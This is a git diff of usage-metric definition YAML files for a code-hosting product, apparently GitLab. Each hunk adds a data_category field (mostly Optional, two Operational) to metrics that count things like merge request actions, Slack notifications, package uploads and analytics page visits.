--- a/config/metrics/counts_7d/20210302103539_i_code_review_user_time_estimate_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210302103539_i_code_review_user_time_estimate_changed_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_time_estimate_changed_weekly
description: Count of unique users per week who changed time estimate of a MR
product_section: dev
diff --git a/config/metrics/counts_7d/20210302103615_i_code_review_user_time_spent_changed_weekly.yml b/config/metrics/counts_7d/20210302103615_i_code_review_user_time_spent_changed_weekly.yml
index 7be92f4cb64..08cc03a78ae 100644
--- a/config/metrics/counts_7d/20210302103615_i_code_review_user_time_spent_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210302103615_i_code_review_user_time_spent_changed_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_time_spent_changed_weekly
description: Count of unique users per week who changed time spent on a MR
product_section: dev
diff --git a/config/metrics/counts_7d/20210302103629_i_ecosystem_slack_service_push_notification_weekly.yml b/config/metrics/counts_7d/20210302103629_i_ecosystem_slack_service_push_notification_weekly.yml
index fb173ceb63b..14a590de64a 100644
--- a/config/metrics/counts_7d/20210302103629_i_ecosystem_slack_service_push_notification_weekly.yml
+++ b/config/metrics/counts_7d/20210302103629_i_ecosystem_slack_service_push_notification_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_slack_service_push_notification_weekly
description: Calculated unique users to trigger a Slack message by performing a Git push by week
product_section: dev
diff --git a/config/metrics/counts_7d/20210302103755_i_ecosystem_slack_service_deployment_notification_weekly.yml b/config/metrics/counts_7d/20210302103755_i_ecosystem_slack_service_deployment_notification_weekly.yml
index 4a4fd9ffd75..6859319d83a 100644
--- a/config/metrics/counts_7d/20210302103755_i_ecosystem_slack_service_deployment_notification_weekly.yml
+++ b/config/metrics/counts_7d/20210302103755_i_ecosystem_slack_service_deployment_notification_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_slack_service_deployment_notification_weekly
description: Calculated unique users to trigger a Slack message by performing a deployment by week
product_section: dev
diff --git a/config/metrics/counts_7d/20210302103907_i_ecosystem_slack_service_wiki_page_notification_weekly.yml b/config/metrics/counts_7d/20210302103907_i_ecosystem_slack_service_wiki_page_notification_weekly.yml
index 13be2a26bfb..8307e3a3099 100644
--- a/config/metrics/counts_7d/20210302103907_i_ecosystem_slack_service_wiki_page_notification_weekly.yml
+++ b/config/metrics/counts_7d/20210302103907_i_ecosystem_slack_service_wiki_page_notification_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_slack_service_wiki_page_notification_weekly
description: Calculated unique users to trigger a Slack message by performing an action on a wiki page by week
product_section: dev
diff --git a/config/metrics/counts_7d/20210302104007_i_ecosystem_slack_service_merge_request_notification_weekly.yml b/config/metrics/counts_7d/20210302104007_i_ecosystem_slack_service_merge_request_notification_weekly.yml
index b975aa627f1..250cfc6506e 100644
--- a/config/metrics/counts_7d/20210302104007_i_ecosystem_slack_service_merge_request_notification_weekly.yml
+++ b/config/metrics/counts_7d/20210302104007_i_ecosystem_slack_service_merge_request_notification_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_slack_service_merge_request_notification_weekly
description: Calculated unique users to trigger a Slack message by performing an action on a merge request by week
product_section: dev
diff --git a/config/metrics/counts_7d/20210302104047_i_ecosystem_slack_service_note_notification_weekly.yml b/config/metrics/counts_7d/20210302104047_i_ecosystem_slack_service_note_notification_weekly.yml
index 7e7c13e74ca..6ee4f87b7ba 100644
--- a/config/metrics/counts_7d/20210302104047_i_ecosystem_slack_service_note_notification_weekly.yml
+++ b/config/metrics/counts_7d/20210302104047_i_ecosystem_slack_service_note_notification_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_slack_service_note_notification_weekly
description: Calculated unique users to trigger a Slack message by creating a note by week
product_section: dev
diff --git a/config/metrics/counts_7d/20210302104144_i_ecosystem_slack_service_tag_push_notification_weekly.yml b/config/metrics/counts_7d/20210302104144_i_ecosystem_slack_service_tag_push_notification_weekly.yml
index b4654a63e32..8b2fbd61c44 100644
--- a/config/metrics/counts_7d/20210302104144_i_ecosystem_slack_service_tag_push_notification_weekly.yml
+++ b/config/metrics/counts_7d/20210302104144_i_ecosystem_slack_service_tag_push_notification_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_slack_service_tag_push_notification_weekly
description: Calculated unique users to trigger a Slack message by performing a tag push by week
product_section: dev
diff --git a/config/metrics/counts_7d/20210302104556_i_ecosystem_slack_service_confidential_note_notification_weekly.yml b/config/metrics/counts_7d/20210302104556_i_ecosystem_slack_service_confidential_note_notification_weekly.yml
index 337281d2af2..2edbc10c9c4 100644
--- a/config/metrics/counts_7d/20210302104556_i_ecosystem_slack_service_confidential_note_notification_weekly.yml
+++ b/config/metrics/counts_7d/20210302104556_i_ecosystem_slack_service_confidential_note_notification_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_slack_service_confidential_note_notification_weekly
description: Calculated unique users to trigger a Slack message by creating a confidential note by week
product_section: dev
diff --git a/config/metrics/counts_7d/20210302104814_i_ecosystem_slack_service_confidential_issue_notification_weekly.yml b/config/metrics/counts_7d/20210302104814_i_ecosystem_slack_service_confidential_issue_notification_weekly.yml
index 562cde19419..cac5da84490 100644
--- a/config/metrics/counts_7d/20210302104814_i_ecosystem_slack_service_confidential_issue_notification_weekly.yml
+++ b/config/metrics/counts_7d/20210302104814_i_ecosystem_slack_service_confidential_issue_notification_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_slack_service_confidential_issue_notification_weekly
description: Calculated unique users to trigger a Slack message by performing an action on a confidential issue by week
product_section: dev
diff --git a/config/metrics/counts_7d/20210302105258_i_code_review_user_mr_discussion_unlocked_weekly.yml b/config/metrics/counts_7d/20210302105258_i_code_review_user_mr_discussion_unlocked_weekly.yml
index ae79de32461..30a2cb6b367 100644
--- a/config/metrics/counts_7d/20210302105258_i_code_review_user_mr_discussion_unlocked_weekly.yml
+++ b/config/metrics/counts_7d/20210302105258_i_code_review_user_mr_discussion_unlocked_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_mr_discussion_unlocked_weekly
description: Count of unique users per week who unlocked a MR
product_section: dev
diff --git a/config/metrics/counts_7d/20210302105318_i_code_review_user_mr_discussion_locked_weekly.yml b/config/metrics/counts_7d/20210302105318_i_code_review_user_mr_discussion_locked_weekly.yml
index 057e209785d..c4bb5e47a1f 100644
--- a/config/metrics/counts_7d/20210302105318_i_code_review_user_mr_discussion_locked_weekly.yml
+++ b/config/metrics/counts_7d/20210302105318_i_code_review_user_mr_discussion_locked_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_mr_discussion_locked_weekly
description: Count of unique users per week who locked a MR
product_section: dev
diff --git a/config/metrics/counts_7d/20210302110403_i_code_review_user_milestone_changed_weekly.yml b/config/metrics/counts_7d/20210302110403_i_code_review_user_milestone_changed_weekly.yml
index 0cbd5000181..abe346f1942 100644
--- a/config/metrics/counts_7d/20210302110403_i_code_review_user_milestone_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210302110403_i_code_review_user_milestone_changed_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_milestone_changed_weekly
description: Count of unique users per week who changed milestone of a MR
product_section: dev
diff --git a/config/metrics/counts_7d/20210302110548_i_code_review_user_labels_changed_weekly.yml b/config/metrics/counts_7d/20210302110548_i_code_review_user_labels_changed_weekly.yml
index 5f292bfec27..57ddf4ac3c2 100644
--- a/config/metrics/counts_7d/20210302110548_i_code_review_user_labels_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210302110548_i_code_review_user_labels_changed_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_labels_changed_weekly
description: Count of unique users per week who changed labels of a MR
product_section: dev
diff --git a/config/metrics/counts_7d/20210302114202_i_code_review_user_assignees_changed_weekly.yml b/config/metrics/counts_7d/20210302114202_i_code_review_user_assignees_changed_weekly.yml
index 35da1f85c9a..1b5fd14efb7 100644
--- a/config/metrics/counts_7d/20210302114202_i_code_review_user_assignees_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210302114202_i_code_review_user_assignees_changed_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_assignees_changed_weekly
description: Count of unique users per week who changed assignees of a MR
product_section: dev
diff --git a/config/metrics/counts_7d/20210302114235_i_code_review_user_reviewers_changed_weekly.yml b/config/metrics/counts_7d/20210302114235_i_code_review_user_reviewers_changed_weekly.yml
index 7dd45a43a11..33b8c06fb93 100644
--- a/config/metrics/counts_7d/20210302114235_i_code_review_user_reviewers_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210302114235_i_code_review_user_reviewers_changed_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_reviewers_changed_weekly
description: Count of unique users per week who changed reviewers of a MR
product_section: dev
diff --git a/config/metrics/counts_7d/20210303154557_i_quickactions_invite_email_single_weekly.yml b/config/metrics/counts_7d/20210303154557_i_quickactions_invite_email_single_weekly.yml
index 5b9dcea99a3..6acc548b2e7 100644
--- a/config/metrics/counts_7d/20210303154557_i_quickactions_invite_email_single_weekly.yml
+++ b/config/metrics/counts_7d/20210303154557_i_quickactions_invite_email_single_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_invite_email_single_weekly
description: Unique users using the /invite_email quick action to add a single email participant to an issue within 7 days
product_section: dev
diff --git a/config/metrics/counts_7d/20210303154600_i_quickactions_invite_email_multiple_weekly.yml b/config/metrics/counts_7d/20210303154600_i_quickactions_invite_email_multiple_weekly.yml
index 5eac345e586..944b5102af2 100644
--- a/config/metrics/counts_7d/20210303154600_i_quickactions_invite_email_multiple_weekly.yml
+++ b/config/metrics/counts_7d/20210303154600_i_quickactions_invite_email_multiple_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_invite_email_multiple_weekly
description: Unique users using the /invite_email quick action to add a multiple email participants to an issue within 7 days
product_section: dev
diff --git a/config/metrics/counts_7d/20210303154624_i_package_rubygems_deploy_token_weekly.yml b/config/metrics/counts_7d/20210303154624_i_package_rubygems_deploy_token_weekly.yml
index c0bd8b6b224..caa19531176 100644
--- a/config/metrics/counts_7d/20210303154624_i_package_rubygems_deploy_token_weekly.yml
+++ b/config/metrics/counts_7d/20210303154624_i_package_rubygems_deploy_token_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_rubygems_deploy_token_weekly
description: A weekly count of distinct RubyGems packages published using a deploy token
product_section: ops
diff --git a/config/metrics/counts_7d/20210303154652_i_package_rubygems_user_weekly.yml b/config/metrics/counts_7d/20210303154652_i_package_rubygems_user_weekly.yml
index 4935d036846..013ac9ecb14 100644
--- a/config/metrics/counts_7d/20210303154652_i_package_rubygems_user_weekly.yml
+++ b/config/metrics/counts_7d/20210303154652_i_package_rubygems_user_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_rubygems_user_weekly
description: A weekly count of distinct RubyGems packages published by a user
product_section: ops
diff --git a/config/metrics/counts_7d/20210409095855_users_expanding_secure_security_report_weekly.yml b/config/metrics/counts_7d/20210409095855_users_expanding_secure_security_report_weekly.yml
index 5516ee24fc3..f4ade05ed51 100644
--- a/config/metrics/counts_7d/20210409095855_users_expanding_secure_security_report_weekly.yml
+++ b/config/metrics/counts_7d/20210409095855_users_expanding_secure_security_report_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.secure.users_expanding_secure_security_report_weekly
description: Count of expanding the security report widget
product_section: sec
diff --git a/config/metrics/counts_7d/20210409100451_users_expanding_testing_code_quality_report_weekly.yml b/config/metrics/counts_7d/20210409100451_users_expanding_testing_code_quality_report_weekly.yml
index 2cca9adda79..11aad6e8af1 100644
--- a/config/metrics/counts_7d/20210409100451_users_expanding_testing_code_quality_report_weekly.yml
+++ b/config/metrics/counts_7d/20210409100451_users_expanding_testing_code_quality_report_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.testing.users_expanding_testing_code_quality_report_weekly
description: Count of expanding the code quality widget
product_section: ops
diff --git a/config/metrics/counts_7d/20210409100628_users_expanding_testing_accessibility_report_weekly.yml b/config/metrics/counts_7d/20210409100628_users_expanding_testing_accessibility_report_weekly.yml
index 05448c69986..b6929fd771f 100644
--- a/config/metrics/counts_7d/20210409100628_users_expanding_testing_accessibility_report_weekly.yml
+++ b/config/metrics/counts_7d/20210409100628_users_expanding_testing_accessibility_report_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.testing.users_expanding_testing_accessibility_report_weekly
description: Count of expanding the accessibility report widget
product_section: ops
diff --git a/config/metrics/counts_7d/20210410012207_i_package_terraform_module_deploy_token_weekly.yml b/config/metrics/counts_7d/20210410012207_i_package_terraform_module_deploy_token_weekly.yml
index 2e97e1fae31..0dd6837c8b8 100644
--- a/config/metrics/counts_7d/20210410012207_i_package_terraform_module_deploy_token_weekly.yml
+++ b/config/metrics/counts_7d/20210410012207_i_package_terraform_module_deploy_token_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_terraform_module_deploy_token_weekly
description: Number of distinct users authorized via deploy token creating Terraform Module packages in recent 7 days
product_section: ops
diff --git a/config/metrics/counts_7d/20210410012209_i_package_terraform_module_user_weekly.yml b/config/metrics/counts_7d/20210410012209_i_package_terraform_module_user_weekly.yml
index 1e7b666ff8f..94a310dbac4 100644
--- a/config/metrics/counts_7d/20210410012209_i_package_terraform_module_user_weekly.yml
+++ b/config/metrics/counts_7d/20210410012209_i_package_terraform_module_user_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_terraform_module_user_weekly
description: Number of distinct users creating Terraform Module packages in recent 7 days
product_section: ops
diff --git a/config/metrics/counts_7d/20210413205507_i_testing_summary_widget_total_weekly.yml b/config/metrics/counts_7d/20210413205507_i_testing_summary_widget_total_weekly.yml
index 60dfc6980b7..44597d4910b 100644
--- a/config/metrics/counts_7d/20210413205507_i_testing_summary_widget_total_weekly.yml
+++ b/config/metrics/counts_7d/20210413205507_i_testing_summary_widget_total_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.testing.i_testing_summary_widget_total_weekly
description: Unique users that expand the test summary merge request widget by week
product_section: ops
diff --git a/config/metrics/counts_7d/20210421144349_i_code_review_click_single_file_mode_setting_weekly.yml b/config/metrics/counts_7d/20210421144349_i_code_review_click_single_file_mode_setting_weekly.yml
index 050ca64f03c..b4aeac34554 100644
--- a/config/metrics/counts_7d/20210421144349_i_code_review_click_single_file_mode_setting_weekly.yml
+++ b/config/metrics/counts_7d/20210421144349_i_code_review_click_single_file_mode_setting_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_click_single_file_mode_setting_weekly
description: Count of users clicking single file mode setting
product_section: dev
diff --git a/config/metrics/counts_7d/20210421145814_i_code_review_click_file_browser_setting_weekly.yml b/config/metrics/counts_7d/20210421145814_i_code_review_click_file_browser_setting_weekly.yml
index eb73d4841b4..56f03ad3b13 100644
--- a/config/metrics/counts_7d/20210421145814_i_code_review_click_file_browser_setting_weekly.yml
+++ b/config/metrics/counts_7d/20210421145814_i_code_review_click_file_browser_setting_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_click_file_browser_setting_weekly
description: Count of users with merge request file list setting
product_section: dev
diff --git a/config/metrics/counts_7d/20210421145942_i_code_review_click_whitespace_setting_weekly.yml b/config/metrics/counts_7d/20210421145942_i_code_review_click_whitespace_setting_weekly.yml
index 4159716f919..8fae98e5705 100644
--- a/config/metrics/counts_7d/20210421145942_i_code_review_click_whitespace_setting_weekly.yml
+++ b/config/metrics/counts_7d/20210421145942_i_code_review_click_whitespace_setting_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_click_whitespace_setting_weekly
description: Count of users clicking merge request whitespae setting
product_section: dev
diff --git a/config/metrics/counts_7d/20210422101512_i_code_review_diff_view_inline_weekly.yml b/config/metrics/counts_7d/20210422101512_i_code_review_diff_view_inline_weekly.yml
index 0c53c7733b1..5e15350bd1e 100644
--- a/config/metrics/counts_7d/20210422101512_i_code_review_diff_view_inline_weekly.yml
+++ b/config/metrics/counts_7d/20210422101512_i_code_review_diff_view_inline_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_diff_view_inline_weekly
description: Count of users with merge request view type as inline
product_section: dev
diff --git a/config/metrics/counts_7d/20210422101609_i_code_review_diff_view_parallel_weekly.yml b/config/metrics/counts_7d/20210422101609_i_code_review_diff_view_parallel_weekly.yml
index 3d956eea357..c16bd2b5db5 100644
--- a/config/metrics/counts_7d/20210422101609_i_code_review_diff_view_parallel_weekly.yml
+++ b/config/metrics/counts_7d/20210422101609_i_code_review_diff_view_parallel_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_diff_view_parallel_weekly
description: Count of users with merge request view type as parallel
product_section: dev
diff --git a/config/metrics/counts_7d/20210422101750_i_code_review_file_browser_tree_view_weekly.yml b/config/metrics/counts_7d/20210422101750_i_code_review_file_browser_tree_view_weekly.yml
index 97067bcc02f..abaaa79d3e8 100644
--- a/config/metrics/counts_7d/20210422101750_i_code_review_file_browser_tree_view_weekly.yml
+++ b/config/metrics/counts_7d/20210422101750_i_code_review_file_browser_tree_view_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_file_browser_tree_view_weekly
description: Count of users with merge request file tree setting
product_section: dev
diff --git a/config/metrics/counts_7d/20210422101849_i_code_review_file_browser_list_view_weekly.yml b/config/metrics/counts_7d/20210422101849_i_code_review_file_browser_list_view_weekly.yml
index 094d2ee6ce8..3f7e646cf83 100644
--- a/config/metrics/counts_7d/20210422101849_i_code_review_file_browser_list_view_weekly.yml
+++ b/config/metrics/counts_7d/20210422101849_i_code_review_file_browser_list_view_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_file_browser_list_view_weekly
description: Count of users with merge request file list setting
product_section: dev
diff --git a/config/metrics/counts_7d/20210422101925_i_code_review_diff_show_whitespace_weekly.yml b/config/metrics/counts_7d/20210422101925_i_code_review_diff_show_whitespace_weekly.yml
index c58b03ce909..0966c15bdd5 100644
--- a/config/metrics/counts_7d/20210422101925_i_code_review_diff_show_whitespace_weekly.yml
+++ b/config/metrics/counts_7d/20210422101925_i_code_review_diff_show_whitespace_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_diff_show_whitespace_weekly
description: Count of users with show whitespace enabled
product_section: dev
diff --git a/config/metrics/counts_7d/20210422102007_i_code_review_diff_hide_whitespace_weekly.yml b/config/metrics/counts_7d/20210422102007_i_code_review_diff_hide_whitespace_weekly.yml
index b0a04b9bff5..f987b89f778 100644
--- a/config/metrics/counts_7d/20210422102007_i_code_review_diff_hide_whitespace_weekly.yml
+++ b/config/metrics/counts_7d/20210422102007_i_code_review_diff_hide_whitespace_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_diff_hide_whitespace_weekly
description: Count of users with show whitespace disabled
product_section: dev
diff --git a/config/metrics/counts_7d/20210422102118_i_code_review_diff_single_file_weekly.yml b/config/metrics/counts_7d/20210422102118_i_code_review_diff_single_file_weekly.yml
index 64f3f452d79..ac02305439d 100644
--- a/config/metrics/counts_7d/20210422102118_i_code_review_diff_single_file_weekly.yml
+++ b/config/metrics/counts_7d/20210422102118_i_code_review_diff_single_file_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_diff_single_file_weekly
description: Count of users with single file mode enabled
product_section: dev
diff --git a/config/metrics/counts_7d/20210422102159_i_code_review_diff_multiple_files_weekly.yml b/config/metrics/counts_7d/20210422102159_i_code_review_diff_multiple_files_weekly.yml
index fe0bd0ba906..3cb400fcb05 100644
--- a/config/metrics/counts_7d/20210422102159_i_code_review_diff_multiple_files_weekly.yml
+++ b/config/metrics/counts_7d/20210422102159_i_code_review_diff_multiple_files_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_diff_multiple_files_weekly
description: Count of users with single mode disabled
product_section: dev
diff --git a/config/metrics/counts_7d/20210427103328_code_review_group_monthly_active_users.yml b/config/metrics/counts_7d/20210427103328_code_review_group_monthly_active_users.yml
index eb1a803ad08..bbe90e2b809 100644
--- a/config/metrics/counts_7d/20210427103328_code_review_group_monthly_active_users.yml
+++ b/config/metrics/counts_7d/20210427103328_code_review_group_monthly_active_users.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts_weekly.aggregated_metrics.code_review_group_monthly_active_users
name: "0"
description:
diff --git a/config/metrics/counts_7d/20210427103407_code_review_category_monthly_active_users.yml b/config/metrics/counts_7d/20210427103407_code_review_category_monthly_active_users.yml
index efed507fca3..98c66534ed9 100644
--- a/config/metrics/counts_7d/20210427103407_code_review_category_monthly_active_users.yml
+++ b/config/metrics/counts_7d/20210427103407_code_review_category_monthly_active_users.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts_weekly.aggregated_metrics.code_review_category_monthly_active_users
name: "0"
description:
diff --git a/config/metrics/counts_7d/20210427103452_code_review_extension_category_monthly_active_users.yml b/config/metrics/counts_7d/20210427103452_code_review_extension_category_monthly_active_users.yml
index 0452b4a418b..cd837f9812a 100644
--- a/config/metrics/counts_7d/20210427103452_code_review_extension_category_monthly_active_users.yml
+++ b/config/metrics/counts_7d/20210427103452_code_review_extension_category_monthly_active_users.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts_weekly.aggregated_metrics.code_review_extension_category_monthly_active_users
name: ""
description:
diff --git a/config/metrics/counts_7d/20210427105030_pipeline_authoring_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210427105030_pipeline_authoring_total_unique_counts_weekly.yml
index da3b2f7bccd..259bc4f4357 100644
--- a/config/metrics/counts_7d/20210427105030_pipeline_authoring_total_unique_counts_weekly.yml
+++ b/config/metrics/counts_7d/20210427105030_pipeline_authoring_total_unique_counts_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.pipeline_authoring.pipeline_authoring_total_unique_counts_weekly
name: "0"
description:
diff --git a/config/metrics/counts_7d/20210514013544_i_code_review_user_load_conflict_ui_weekly.yml b/config/metrics/counts_7d/20210514013544_i_code_review_user_load_conflict_ui_weekly.yml
index 0ab87e2917e..7151effc438 100644
--- a/config/metrics/counts_7d/20210514013544_i_code_review_user_load_conflict_ui_weekly.yml
+++ b/config/metrics/counts_7d/20210514013544_i_code_review_user_load_conflict_ui_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_load_conflict_ui_weekly
name: load_conflict_ui
description: Count of unique users per week who load the conflict resolution page
diff --git a/config/metrics/counts_7d/20210514013545_i_code_review_user_resolve_conflict_weekly.yml b/config/metrics/counts_7d/20210514013545_i_code_review_user_resolve_conflict_weekly.yml
index 417483200e3..211c3bee0fc 100644
--- a/config/metrics/counts_7d/20210514013545_i_code_review_user_resolve_conflict_weekly.yml
+++ b/config/metrics/counts_7d/20210514013545_i_code_review_user_resolve_conflict_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_resolve_conflict_weekly
name: resolve_conflict
description: Count of unique users per week who attempt to resolve a conflict through the ui
diff --git a/config/metrics/counts_7d/20210517074851_i_package_helm_deploy_token_weekly.yml b/config/metrics/counts_7d/20210517074851_i_package_helm_deploy_token_weekly.yml
index 3f1e1badc6e..020d10a7900 100644
--- a/config/metrics/counts_7d/20210517074851_i_package_helm_deploy_token_weekly.yml
+++ b/config/metrics/counts_7d/20210517074851_i_package_helm_deploy_token_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_helm_deploy_token_weekly
description: Distinct Helm pakages deployed in recent 7 days
product_section: ops
diff --git a/config/metrics/counts_7d/20210517075252_i_package_helm_user_weekly.yml b/config/metrics/counts_7d/20210517075252_i_package_helm_user_weekly.yml
index 1ebc70f497c..7eeb3280389 100644
--- a/config/metrics/counts_7d/20210517075252_i_package_helm_user_weekly.yml
+++ b/config/metrics/counts_7d/20210517075252_i_package_helm_user_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_helm_user_weekly
description: Distinct user count events for Helm packages in recent 7 days
product_section: ops
diff --git a/config/metrics/counts_7d/20210607113552_i_code_review_click_diff_view_setting_weekly.yml b/config/metrics/counts_7d/20210607113552_i_code_review_click_diff_view_setting_weekly.yml
index 6d7f47cede4..d0b6ac4df67 100644
--- a/config/metrics/counts_7d/20210607113552_i_code_review_click_diff_view_setting_weekly.yml
+++ b/config/metrics/counts_7d/20210607113552_i_code_review_click_diff_view_setting_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_click_diff_view_setting_weekly
description: Count of users clicking diff view setting
product_section: dev
diff --git a/config/metrics/counts_all/20210201124934_deployments.yml b/config/metrics/counts_all/20210201124934_deployments.yml
index 53b31b2b9ac..c4be64fb54c 100644
--- a/config/metrics/counts_all/20210201124934_deployments.yml
+++ b/config/metrics/counts_all/20210201124934_deployments.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.deployments
description: Total deployments count
product_section: ops
diff --git a/config/metrics/counts_all/20210204124930_servers.yml b/config/metrics/counts_all/20210204124930_servers.yml
index 9732b34c771..f17144ac78b 100644
--- a/config/metrics/counts_all/20210204124930_servers.yml
+++ b/config/metrics/counts_all/20210204124930_servers.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: gitaly.servers
description: Total Gitalty Servers
product_section: growth
diff --git a/config/metrics/counts_all/20210204124932_clusters.yml b/config/metrics/counts_all/20210204124932_clusters.yml
index c1ada3babcd..2c59827cda0 100644
--- a/config/metrics/counts_all/20210204124932_clusters.yml
+++ b/config/metrics/counts_all/20210204124932_clusters.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: gitaly.clusters
description: Total GitLab Managed clusters both enabled and disabled
product_section: growth
diff --git a/config/metrics/counts_all/20210216174832_cycle_analytics_views.yml b/config/metrics/counts_all/20210216174832_cycle_analytics_views.yml
index ce8674574f2..fd58874e988 100644
--- a/config/metrics/counts_all/20210216174832_cycle_analytics_views.yml
+++ b/config/metrics/counts_all/20210216174832_cycle_analytics_views.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.cycle_analytics_views
description: Total visits to VSA (both group- and project-level) all time
product_section: dev
diff --git a/config/metrics/counts_all/20210216174846_p_analytics_pipelines.yml b/config/metrics/counts_all/20210216174846_p_analytics_pipelines.yml
index 3a263f167d6..14c97a9b8b9 100644
--- a/config/metrics/counts_all/20210216174846_p_analytics_pipelines.yml
+++ b/config/metrics/counts_all/20210216174846_p_analytics_pipelines.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: analytics_unique_visits.p_analytics_pipelines
description: Unique visitors to /:group/:project/pipelines/charts
product_section: dev
diff --git a/config/metrics/counts_all/20210216174850_p_analytics_valuestream.yml b/config/metrics/counts_all/20210216174850_p_analytics_valuestream.yml
index c33fb10c4cb..0995d26c9ed 100644
--- a/config/metrics/counts_all/20210216174850_p_analytics_valuestream.yml
+++ b/config/metrics/counts_all/20210216174850_p_analytics_valuestream.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: analytics_unique_visits.p_analytics_valuestream
description: Unique visitors to /:group/:project/-/value_stream_analytics
product_section: dev
diff --git a/config/metrics/counts_all/20210216174856_p_analytics_repo.yml b/config/metrics/counts_all/20210216174856_p_analytics_repo.yml
index 1600feeb834..4bed3379057 100644
--- a/config/metrics/counts_all/20210216174856_p_analytics_repo.yml
+++ b/config/metrics/counts_all/20210216174856_p_analytics_repo.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: analytics_unique_visits.p_analytics_repo
description: Unique visitors to /:group/:project/-/graphs/master/charts
product_section: dev
diff --git a/config/metrics/counts_all/20210216174858_i_analytics_cohorts.yml b/config/metrics/counts_all/20210216174858_i_analytics_cohorts.yml
